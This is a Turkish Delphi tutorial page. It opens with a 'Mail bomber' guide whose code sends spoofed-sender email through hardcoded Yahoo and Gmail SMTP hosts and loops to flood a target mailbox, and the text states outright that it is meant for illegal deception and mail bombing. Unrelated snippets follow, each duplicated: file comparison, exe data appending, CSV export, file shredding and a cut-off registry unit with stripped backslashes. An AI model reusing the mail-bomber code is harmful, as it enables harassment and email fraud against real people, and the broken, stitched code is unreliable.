Mail bomber(YENİ)

 

 

Bu dökümanımızda sizlere delphi 6 ile smtp serverlarını kullanarak mail yollanması ve bunu illegal olarak kullanmanın yollarını anlatacağım.

 

Gerekenler

 

1. Delphi 6

2. Smtp server adresleri

 

Şimdi birşeyler yapmaya başlayalım.Öncelikle formumuzu düzenleyelim Formumuza öncelikle Fasnet Component tabındaki NMSMTP componentini yerleştiriyoruz. Ardından 3 tane editbox 1 tane memo 1 tane combobox 1 tane spinedit 3 tane label ve 1 tane de button yerleştiriyoruz. Comboboxımızın items kısmına kullanacağımız smtp serverlarını yazıyoruz mesela:Gmail ve Yahoo bunları seçerken dikkat etmemiz gereken tek şey elmizde bu adresin smtp serverı mevcutmu?.

 

Form a istediğiniz görünümü verdikten sonra geri kalan işlerimizi kodlarla halletmemiz gerekiyor.

 

Butonumuzun onclick olayını aşağıdaki gibi düzenliyoruz.

 

procedure TForm1.Button1Click(Sender: TObject);

begin

Nmsmtp.Connect;//Az sonra belirteceğim smtp serverına bağlanıyoruz.

end;

 

Comboboxımızın OnChange olayını aşağıdaki şekilde düzenliyoruz Bu işlem kullanıcımızın mail yollayacağı adresin smtp serverını ayarlamamıza yarayacaktır.

 

procedure TForm1.cb1Change(Sender: TObject);

begin

if cb1.ItemIndex=0 then

Nmsmtp.Host:='mx3.mail.yahoo.com';//comboboxın ilk itemi yani yahoo seçili ise smtp serverını atıyoruz.

if cb1.ItemIndex=1 then

Nmsmtp.Host:='gsmtp171.google.com';//comboboxın ikinci itemi yani gmail seçili ise smtp serverını atıyoruz.

end;

 

Şimdi herşeyi hallettik mailımızı yollamamız gerekiyor. Yapmamız gereken şey smtp server a send komutu vermektir.

NMsmtp server ın OnConnect olayını aşağıdaki şekilde düzenliyoruz...

 

procedure TForm1.mailConnect(Sender: TObject);

begin

Nmsmtp.PostMessage.ToAddress.Text:=edit1.Text;// Gönderilecek adresimizi edit1 in textinden aktarıyoruz

Nmsmtp.PostMessage.Subject:=edit2.Text;//Göderilecek konuyu edit2 nin text inden aktarıyoruz

Nmsmtp.PostMessage.FromAddress.Text:=edit3.Text;//Göderenin mail adresini edit3 ün textinden aktarıyoruz

Nmsmtp.PostMessage.BOdy.Text:=memo1.Lines.Text;// gönderilecek konuyu memo1 in içeriğinden alıyoruz

label1.Caption:='Bağlı';//Server a bağlandığımızı bize bildirmesi için label1de belirtiyoruz.

Nmsmtp.SendMail;// ve mail ımızı yolluyoruz.

end;

 

Son olarak başarılı olup olmadığımızı öğrenme zamanı geldi. Bunun için Nmsmtp serverın OnSuccess olayını şöyle düzenliyoruz.

 

procedure TForm1.mailSuccess(Sender: TObject);

begin

Nmsmtp.Disconnect;//server ile bağlantımızı kesiyoruz.

label2.Caption:='OK';//bunu anlamak için label2 aracılığı ile kendimizi bilgilendiriyoruz.

end;

 

Buraya kadar yalnızca bir mail yollamanın nasıl yapılacağını hep birlikte öğrendik.Bu yöntemle karşımızdaki kişiye fake mail yollayabiliriz. Gerekli html kodlarını memo1 diye adlandırdığımız bölüme yazarsak ve edit 3 diye adlandırdığımız bölüme mailın kimden gittiğini belirtirsek gayet güzel bir fake mail yollamış olursunuz.Yukardaki anllattığım program yalnızca Gmail ve Yahoo ya mail yollar diğer serverlara mail yollamak için combobox a girdiğimiz smtp serverlarına ekleme yapabilirsiniz.

 

Şimdi birden fazla mail ı otomatik olarak yollamayı öğrenelim.

Aynı kodlara birkaç eklenti yaptığımızda sorunumuz çözülecektir.

Formumuza kaç mailın başarılı bir şekilde yollandığını görmemizi sağlayacaak bir label daha ekleyelim.

 

Ve Nmsmtp serverın OnSuccess olayını şu şekilde değiştirelim.

 

procedure TForm1.mailSuccess(Sender: TObject);

var x:integer;//sayaç olarak kullanacağımız bir tam sayı değişkeni tanımlıyoruz.

 

begin

Nmsmtp.Disconnect;//server ile bağlantımızı kesiyoruz.

label7.Caption:='OK';/bunu anlamak için label2 aracılığı ile kendimizi bilgilendiriyoruz.

x:=x+1;//Tanımladığımız değişkeni başarılı bir işlem yaptığımız için 1 arttırıyoruz.

label3.Caption:=inttostr(x);//label3'e değişkenimizin değerini string'e çevirerek atıyoruz.

if se1.Value<>x then//eğer spineditte belirttiğimiz değer le değişkenimiz eşit değilse

Nmsmtp.Connect;//smtp serverımıza yeniden bağlanıyoruz. Bu işlem Spineditte belirttiğimiz değerle değişkenimizin değeri edşitleninceye kadar devam edecektir.

end;

 

 

Yukarda anlattığım programı hazırladığımızda kişinin mail adresini yüzlerce hatta binlerce mail ile doldurabiliriz veya fake mail atarak kişimizi yanıltabiliriz. Yapmamız gereken tek şey hayal gücümüzü kullanmak.

 

 

Not: alıntı yapılarak yazıLmıstır !!</Declared>

 

Delphi - .....................................

 

Dosyalarin denkligini denetleme

{

check, if two files are equal?

Autor: Thomas Stutz

}

 

{1.}

 

function Are2FilesEqual(const File1, File2: TFileName): Boolean;

var

  ms1, ms2: TMemoryStream;

begin

  Result := False;

  ms1 := TMemoryStream.Create;

  try

    ms1.LoadFromFile(File1);

    ms2 := TMemoryStream.Create;

    try

      ms2.LoadFromFile(File2);

      if ms1.Size = ms2.Size then

        Result := CompareMem(ms1.Memory, ms2.memory, ms1.Size);

    finally

      ms2.Free;

    end;

  finally

    ms1.Free;

  end

end;

 

{

procedure TForm1.Button1Click(Sender: TObject);

begin

  if Opendialog1.Execute then

    if Opendialog2.Execute then

      if Are2FilesEqual(Opendialog1.FileName, Opendialog2.FileName) then

        ShowMessage('Files are equal.');

end;

}

 

{********************************************}

 

{2.}

 

function FilesAreEqual(const File1, File2: TFileName): Boolean;

const

  BlockSize = 65536;

var

  fs1, fs2: TFileStream;

  L1, L2: Integer;

  B1, B2: array[1..BlockSize] of Byte;

begin

  Result := False;

  fs1 := TFileStream.Create(File1, fmOpenRead or fmShareDenyWrite);

  try

    fs2 := TFileStream.Create(File2, fmOpenRead or fmShareDenyWrite);

    try

      if fs1.Size = fs2.Size then

      begin

        while fs1.Position < fs1.Size do

        begin

          L1 := fs1.Read(B1[1], BlockSize);

          L2 := fs2.Read(B2[1], BlockSize);

          if L1 <> L2 then

          begin

            Exit;

          end;

          if not CompareMem(@B1[1], @B2[1], L1) then Exit;

        end;

        Result := True;

      end;

    finally

      fs2.Free;

    end;

  finally

    fs1.Free;

  end;

end;

 

Delphi - .....................................

 

Dosyalarin denkligini denetleme

{

check, if two files are equal?

Autor: Thomas Stutz

}

 

{1.}

 

function Are2FilesEqual(const File1, File2: TFileName): Boolean;

var

  ms1, ms2: TMemoryStream;

begin

  Result := False;

  ms1 := TMemoryStream.Create;

  try

    ms1.LoadFromFile(File1);

    ms2 := TMemoryStream.Create;

    try

      ms2.LoadFromFile(File2);

      if ms1.Size = ms2.Size then

        Result := CompareMem(ms1.Memory, ms2.memory, ms1.Size);

    finally

      ms2.Free;

    end;

  finally

    ms1.Free;

  end

end;

 

{

procedure TForm1.Button1Click(Sender: TObject);

begin

  if Opendialog1.Execute then

    if Opendialog2.Execute then

      if Are2FilesEqual(Opendialog1.FileName, Opendialog2.FileName) then

        ShowMessage('Files are equal.');

end;

}

 

{********************************************}

 

{2.}

 

function FilesAreEqual(const File1, File2: TFileName): Boolean;

const

  BlockSize = 65536;

var

  fs1, fs2: TFileStream;

  L1, L2: Integer;

  B1, B2: array[1..BlockSize] of Byte;

begin

  Result := False;

  fs1 := TFileStream.Create(File1, fmOpenRead or fmShareDenyWrite);

  try

    fs2 := TFileStream.Create(File2, fmOpenRead or fmShareDenyWrite);

    try

      if fs1.Size = fs2.Size then

      begin

        while fs1.Position < fs1.Size do

        begin

          L1 := fs1.Read(B1[1], BlockSize);

          L2 := fs2.Read(B2[1], BlockSize);

          if L1 <> L2 then

          begin

            Exit;

          end;

          if not CompareMem(@B1[1], @B2[1], L1) then Exit;

        end;

        Result := True;

      end;

    finally

      fs2.Free;

    end;

  finally

    fs1.Free;

  end;

end;

 

Delphi - .....................................

 

Derlenmis exe dosyasina veri ekleme

{

add data to a compiled Exe-File?

Autor: Motzi

}

function AttachToFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;

var

  aStream: TFileStream;

  iSize: Integer;

begin

  Result := False;

  if not FileExists(AFileName) then

    Exit;

  try

    aStream := TFileStream.Create(AFileName, fmOpenWrite or fmShareDenyWrite);

    MemoryStream.Seek(0, soFromBeginning);

    // seek to end of File

    aStream.Seek(0, soFromEnd);

    // copy data from MemoryStream

    aStream.CopyFrom(MemoryStream, 0);

    // save Stream-Size

    iSize := MemoryStream.Size + SizeOf(Integer);

    aStream.Write(iSize, SizeOf(iSize));

  finally

    aStream.Free;

  end;

  Result := True;

end;

 

function LoadFromFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;

var

  aStream: TFileStream;

  iSize: Integer;

begin

  Result := False;

  if not FileExists(AFileName) then

    Exit;

 

  try

    aStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);

    // seek to position where Stream-Size is saved

    aStream.Seek(-SizeOf(Integer), soFromEnd);

    aStream.Read(iSize, SizeOf(iSize));

    if iSize > aStream.Size then

    begin

      aStream.Free;

      Exit;

    end;

    // seek to position where data is saved

    aStream.Seek(-iSize, soFromEnd);

    MemoryStream.SetSize(iSize - SizeOf(Integer));

    MemoryStream.CopyFrom(aStream, iSize - SizeOf(iSize));

    MemoryStream.Seek(0, soFromBeginning);

  finally

    aStream.Free;

  end;

  Result := True;

end;

 

procedure TForm1.SaveClick(Sender: TObject);

var

  aStream: TMemoryStream;

begin

  aStream := TMemoryStream.Create;

  Memo1.Lines.SaveToStream(aStream);

  AttachToFile('Test.exe', aStream);

  aStream.Free;

end;

 

procedure TForm1.LoadClick(Sender: TObject);

var

  aStream: TMemoryStream;

begin

  aStream := TMemoryStream.Create;

  LoadFromFile('Test.exe', aStream);

  Memo1.Lines.LoadFromStream(aStream);

  aStream.Free;

end;

 

{

 

Note:

 

You can't proof whether additional data is attached or not.

To reach this, you would have to create a checksumm of the

MemoryStream and attach it.

}

 

Delphi - .....................................

 

Derlenmis exe dosyasina veri ekleme

{

add data to a compiled Exe-File?

Autor: Motzi

}

function AttachToFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;

var

  aStream: TFileStream;

  iSize: Integer;

begin

  Result := False;

  if not FileExists(AFileName) then

    Exit;

  try

    aStream := TFileStream.Create(AFileName, fmOpenWrite or fmShareDenyWrite);

    MemoryStream.Seek(0, soFromBeginning);

    // seek to end of File

    aStream.Seek(0, soFromEnd);

    // copy data from MemoryStream

    aStream.CopyFrom(MemoryStream, 0);

    // save Stream-Size

    iSize := MemoryStream.Size + SizeOf(Integer);

    aStream.Write(iSize, SizeOf(iSize));

  finally

    aStream.Free;

  end;

  Result := True;

end;

 

function LoadFromFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;

var

  aStream: TFileStream;

  iSize: Integer;

begin

  Result := False;

  if not FileExists(AFileName) then

    Exit;

 

  try

    aStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);

    // seek to position where Stream-Size is saved

    aStream.Seek(-SizeOf(Integer), soFromEnd);

    aStream.Read(iSize, SizeOf(iSize));

    if iSize > aStream.Size then

    begin

      aStream.Free;

      Exit;

    end;

    // seek to position where data is saved

    aStream.Seek(-iSize, soFromEnd);

    MemoryStream.SetSize(iSize - SizeOf(Integer));

    MemoryStream.CopyFrom(aStream, iSize - SizeOf(iSize));

    MemoryStream.Seek(0, soFromBeginning);

  finally

    aStream.Free;

  end;

  Result := True;

end;

 

procedure TForm1.SaveClick(Sender: TObject);

var

  aStream: TMemoryStream;

begin

  aStream := TMemoryStream.Create;

  Memo1.Lines.SaveToStream(aStream);

  AttachToFile('Test.exe', aStream);

  aStream.Free;

end;

 

procedure TForm1.LoadClick(Sender: TObject);

var

  aStream: TMemoryStream;

begin

  aStream := TMemoryStream.Create;

  LoadFromFile('Test.exe', aStream);

  Memo1.Lines.LoadFromStream(aStream);

  aStream.Free;

end;

 

{

 

Note:

 

You can't proof whether additional data is attached or not.

To reach this, you would have to create a checksumm of the

MemoryStream and attach it.

}

 

Delphi - .....................................

 

StringGrid icerigini CSV dosyası olarak kaydetmek

{

Autor: Schatzl Reinhard

}

function TForm1.SaveToCSV:Boolean;

var

  SD : TSaveDialog;

  I : Integer;

  CSV : TStrings;

  FileName : String;

begin

  Try

  SD := TSaveDialog.Create(Self);

  SD.Filter := 'Comma Seperated (*.csv)|*.CSV';

  If SD.Execute = True Then

  Begin

    FileName := SD.FileName;

    If Copy(FileName,Pos('.',FileName),Length(FileName)-Pos('.',FileName)+1) <> '.csv' Then FileName := FileName + '.csv';

    Screen.Cursor := crHourGlass;

    CSV := TStringList.Create;

    Try

      For I := 0 To Grid.RowCount - 1 Do CSV.Add(Grid.Rows[I].CommaText);

      //CSV speichern

      CSV.SaveToFile(FileName);

      Result := True;

    Finally

      CSV.Free;

    End;

  End;

 

  Finally

    SD.Free;

    Screen.Cursor := crDefault;

  End;

end;

 

{(sample call)

procedure TForm1.BtnSaveClick(Sender: TObject);

begin

   SaveToCSV;

end;

}

 

Delphi - .....................................

 

blood - StringGrid icerigini CSV dosyası olarak kaydetmek

{

Autor: Schatzl Reinhard

}

function TForm1.SaveToCSV:Boolean;

var

  SD : TSaveDialog;

  I : Integer;

  CSV : TStrings;

  FileName : String;

begin

  Try

  SD := TSaveDialog.Create(Self);

  SD.Filter := 'Comma Seperated (*.csv)|*.CSV';

  If SD.Execute = True Then

  Begin

    FileName := SD.FileName;

    If Copy(FileName,Pos('.',FileName),Length(FileName)-Pos('.',FileName)+1) <> '.csv' Then FileName := FileName + '.csv';

    Screen.Cursor := crHourGlass;

    CSV := TStringList.Create;

    Try

      For I := 0 To Grid.RowCount - 1 Do CSV.Add(Grid.Rows[I].CommaText);

      //CSV speichern

      CSV.SaveToFile(FileName);

      Result := True;

    Finally

      CSV.Free;

    End;

  End;

 

  Finally

    SD.Free;

    Screen.Cursor := crDefault;

  End;

end;

 

{(sample call)

procedure TForm1.BtnSaveClick(Sender: TObject);

begin

   SaveToCSV;

end;

}

 

Delphi - .....................................

 

blood - Dosyayı geri getirilemeyecek bicimde silme

{

shred (delete w/o traces) files?

Autor: MiniKeks

Homepage: http://www.nss-bot.ch.vu

}

 

procedure ShredderFile(FileName: string);

const

  Buffer       = 1024;

  Counttowrite = 34;

  FillBuffer: array[0..5] of Integer = ($00, $FF, $00, $F0, $0F, $00);

var

  arr: array[1..Buffer] of Byte;

  f: file;

  i, j, n: Integer;

begin

  AssignFile(f, FileName);

  Reset(f, 1);

  n := FileSize(f);

  for j := 0 to Counttowrite do

  begin

    for i := 1 to n div Buffer do

    begin

      BlockWrite(f, FillBuffer[j], Buffer);

    end;

  end;

  CloseFile(f);

  RenameFile(FileName, ExtractFilepath(FileName) + '$000000.tmp');

  DeleteFile(ExtractFilepath(FileName) + '$000000.tmp');

end;

 

procedure ShredderAndDeleteFile(const FileName: string);

var

  newname: string;

begin

  // zuerst umbennen, dann später keine Rückschlüsse auf den Dateinamen möglich sind

  // first rename the file

  newname := ExtractFilepath(FileName) + '$000000.tmp';

 

  if not RenameFile(FileName, newname) then

    raise

    Exception.CreateFmt('Fehlercode 2: Kann %s nicht umbenennen!', [FileName]);

 

  ShredderFile(newname);

 

  DeleteFile(newname);

end;

 

//Call: ShredderAndDeleteFile(Edit1.Text)

 

Delphi - .....................................

 

blood - Dosyayı geri getirilemeyecek bicimde silme

{

shred (delete w/o traces) files?

Autor: MiniKeks

Homepage: http://www.nss-bot.ch.vu

}

 

procedure ShredderFile(FileName: string);

const

  Buffer       = 1024;

  Counttowrite = 34;

  FillBuffer: array[0..5] of Integer = ($00, $FF, $00, $F0, $0F, $00);

var

  arr: array[1..Buffer] of Byte;

  f: file;

  i, j, n: Integer;

begin

  AssignFile(f, FileName);

  Reset(f, 1);

  n := FileSize(f);

  for j := 0 to Counttowrite do

  begin

    for i := 1 to n div Buffer do

    begin

      BlockWrite(f, FillBuffer[j], Buffer);

    end;

  end;

  CloseFile(f);

  RenameFile(FileName, ExtractFilepath(FileName) + '$000000.tmp');

  DeleteFile(ExtractFilepath(FileName) + '$000000.tmp');

end;

 

procedure ShredderAndDeleteFile(const FileName: string);

var

  newname: string;

begin

  // zuerst umbennen, dann später keine Rückschlüsse auf den Dateinamen möglich sind

  // first rename the file

  newname := ExtractFilepath(FileName) + '$000000.tmp';

 

  if not RenameFile(FileName, newname) then

    raise

    Exception.CreateFmt('Fehlercode 2: Kann %s nicht umbenennen!', [FileName]);

 

  ShredderFile(newname);

 

  DeleteFile(newname);

end;

 

//Call: ShredderAndDeleteFile(Edit1.Text)

 

Delphi - .....................................

 

blood - MINIREG UNIT

{Written by Ben Hochstrasser (bhoc@surfeu.ch).

This code is GPL.}

 

unit MiniReg;

 

interface

 

uses Windows;

 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean;

function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean;

function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean;

function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): boolean;

function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean;

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetAnyString(RootKey: HKEY; Name: String; Var Value: String; Var ValueType: Cardinal): boolean;

function RegSetAnyString(RootKey: HKEY; Name: String; Value: String; ValueType: Cardinal): boolean;

function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean;

function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean;

function RegValueExists(RootKey: HKEY; Name: String): boolean;

function RegKeyExists(RootKey: HKEY; Name: String): boolean;

function RegDelValue(RootKey: HKEY; Name: String): boolean;

function RegDelKey(RootKey: HKEY; Name: String): boolean;

function RegDelKeyEx(RootKey: HKEY; Name: String; WithSubKeys: Boolean = True): boolean;

function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean;

function RegDisconnect(RemoteKey: HKEY): boolean;

function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean;

function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean;

 

implementation

 

function LastPos(Needle: Char; Haystack: String): integer;

begin

  for Result := Length(Haystack) downto 1 do

    if Haystack[Result] = Needle then

      Break;

end;

 

function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean;

begin

  Result := (RegConnectRegistry(PChar(MachineName), RootKey, RemoteKey) = ERROR_SUCCESS);

end;

 

function RegDisconnect(RemoteKey: HKEY): boolean;

begin

  Result := (RegCloseKey(RemoteKey) = ERROR_SUCCESS);

end;

 

function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean;

var

  SubKey: String;

  n: integer;

  dispo: DWORD;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, hTemp, @dispo) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      if SubKey = '' then

        Result := (RegSetValueEx(hTemp, nil, 0, ValType, PVal, ValSize) = ERROR_SUCCESS)

      else

        Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; var PVal: Pointer; var ValSize: Cardinal): boolean;

var

  SubKey: String;

  n: integer;

  MyValType: DWORD;

  hTemp: HKEY;

  Buf: Pointer;

  BufSize: Cardinal;

  PKey: PChar;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      if SubKey = '' then

        PKey := nil

      else

        PKey := PChar(SubKey);

      if RegQueryValueEx(hTemp, PKey, nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then

      begin

        GetMem(Buf, BufSize);

        if RegQueryValueEx(hTemp, PKey, nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then

        begin

          if ValType = MyValType then

          begin

            PVal := Buf;

            ValSize := BufSize;

            Result := True;

          end else

          begin

            FreeMem(Buf);

          end;

        end else

        begin

          FreeMem(Buf);

        end;

      end;

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegSetAnyString(RootKey: HKEY; Name: String; Value: String; ValueType: Cardinal): boolean;

begin

  case ValueType of

    REG_SZ, REG_EXPAND_SZ:

      Result := RegSetValue(RootKey, Name, ValueType, PChar(Value + #0), Length(Value) + 1);

    Reg_MULTI_SZ:

      Result := RegSetValue(RootKey, Name, ValueType, PChar(Value + #0#0), Length(Value) + 2);

  else

    Result := False;

  end;

end;

 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1);

end;

 

function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2);

end;

 

function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0), Length(Value) + 1);

end;

 

function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal));

end;

 

function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value));

end;

 

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then

  begin

    Dec(BufSize);

    SetLength(Value, BufSize);

    if BufSize > 0 then

      Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) then

  begin

    Dec(BufSize);

    SetLength(Value, BufSize);

    if BufSize > 0 then

      Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) then

  begin

    Dec(BufSize);

    SetLength(Value, BufSize);

    if BufSize > 0 then

      Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetAnyString(RootKey: HKEY; Name: String; Var Value: String; Var ValueType: Cardinal): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

  bOK: Boolean;

begin

  Result := False;

  Value := '';

  if RegGetValueType(Rootkey, Name, ValueType) then

  begin

    case ValueType of

      REG_SZ, REG_EXPAND_SZ, REG_MULTI_SZ:

        bOK := RegGetValue(RootKey, Name, ValueType, Buf, BufSize);

    else

      bOK := False;

    end;

    if bOK then

    begin

      Dec(BufSize);

      SetLength(Value, BufSize);

      if BufSize > 0 then

        Move(Buf^, Value[1], BufSize);

      FreeMem(Buf);

      Result := True;

    end;

  end;

end;

 

function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := 0;

  if RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) then

  begin

    Value := PDWord(Buf)^;

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) then

  begin

    SetLength(Value, BufSize);

    Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegValueExists(RootKey: HKEY; Name: String): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, nil, nil, nil) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

  ValType: Cardinal;

begin

  Result := False;

  Value := REG_NONE;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if (RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS) then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      if SubKey = '' then

        Result := (RegQueryValueEx(hTemp, nil, nil, @ValType, nil, nil) = ERROR_SUCCESS)

      else

        Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, @ValType, nil, nil) = ERROR_SUCCESS);

      if Result then

        Value := ValType;

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegKeyExists(RootKey: HKEY; Name: String): boolean;

var

  hTemp: HKEY;

begin

  Result := False;

  if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

  begin

    Result := True;

    RegCloseKey(hTemp);

  end;

end;

 

function RegDelValue(RootKey: HKEY; Name: String): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      Result := (RegDeleteValue(hTemp, PChar(SubKey)) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegDelKey(RootKey: HKEY; Name: String): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegDelKeyEx(RootKey: HKEY; Name: String; WithSubKeys: Boolean = True): boolean;

const

  MaxBufSize: Cardinal = 1024;

var

  iRes: integer;

  hTemp: HKEY;

  Buf: String;

  BufSize: Cardinal;

begin

  Result := False;

  // no root keys...

  if pos('', Name) <> 0 then

  begin

    iRes := RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_ENUMERATE_SUB_KEYS or KEY_WRITE, hTemp);

    if WithSubKeys then

    begin

      while iRes = ERROR_SUCCESS do

      begin

        BufSize := MaxBufSize;

        SetLength(Buf, BufSize);

        iRes := RegEnumKeyEx(hTemp, 0, @Buf[1], BufSize, nil, nil, nil, nil);

        if iRes = ERROR_NO_MORE_ITEMS then

        begin

          RegCloseKey(hTemp);

          Result := (RegDeleteKey(RootKey, PChar(Name)) = ERROR_SUCCESS);

        end else

        begin

          if iRes = ERROR_SUCCESS then

          begin

            SetLength(Buf, BufSize);

            if RegDelKeyEx(RootKey, Concat(Name, '', Buf), WithSubKeys) then

              iRes := ERROR_SUCCESS

            else

              iRES := ERROR_BADKEY;

          end;

        end;

      end;

    end else

    begin

      RegCloseKey(hTemp);

      Result := (RegDeleteKey(RootKey, PChar(Name)) = ERROR_SUCCESS);

    end;

  end;

end;

 

function RegEnum(RootKey: HKEY; Name: String; var ResultList: String; const DoKeys: Boolean): boolean;

var

  i: integer;

  iRes: integer;

  s: String;

  hTemp: HKEY;

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  ResultList := '';

  if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

  begin

    Result := True;

    BufSize := 1024;

    GetMem(buf, BufSize);

    i := 0;

    iRes := ERROR_SUCCESS;

    while iRes = ERROR_SUCCESS do

    begin

      BufSize := 1024;

      if DoKeys then

        iRes := RegEnumKeyEx(hTemp, i, buf, BufSize, nil, nil, nil, nil)

      else

        iRes := RegEnumValue(hTemp, i, buf, BufSize, nil, nil, nil, nil);

      if iRes = ERROR_SUCCESS then

      begin

        SetLength(s, BufSize);

        Move(buf^, s[1], BufSize);

        if ResultList = '' then

          ResultList := s

        else

          ResultList := Concat(ResultList, #13#10, s);

        inc(i);

      end;

    end;

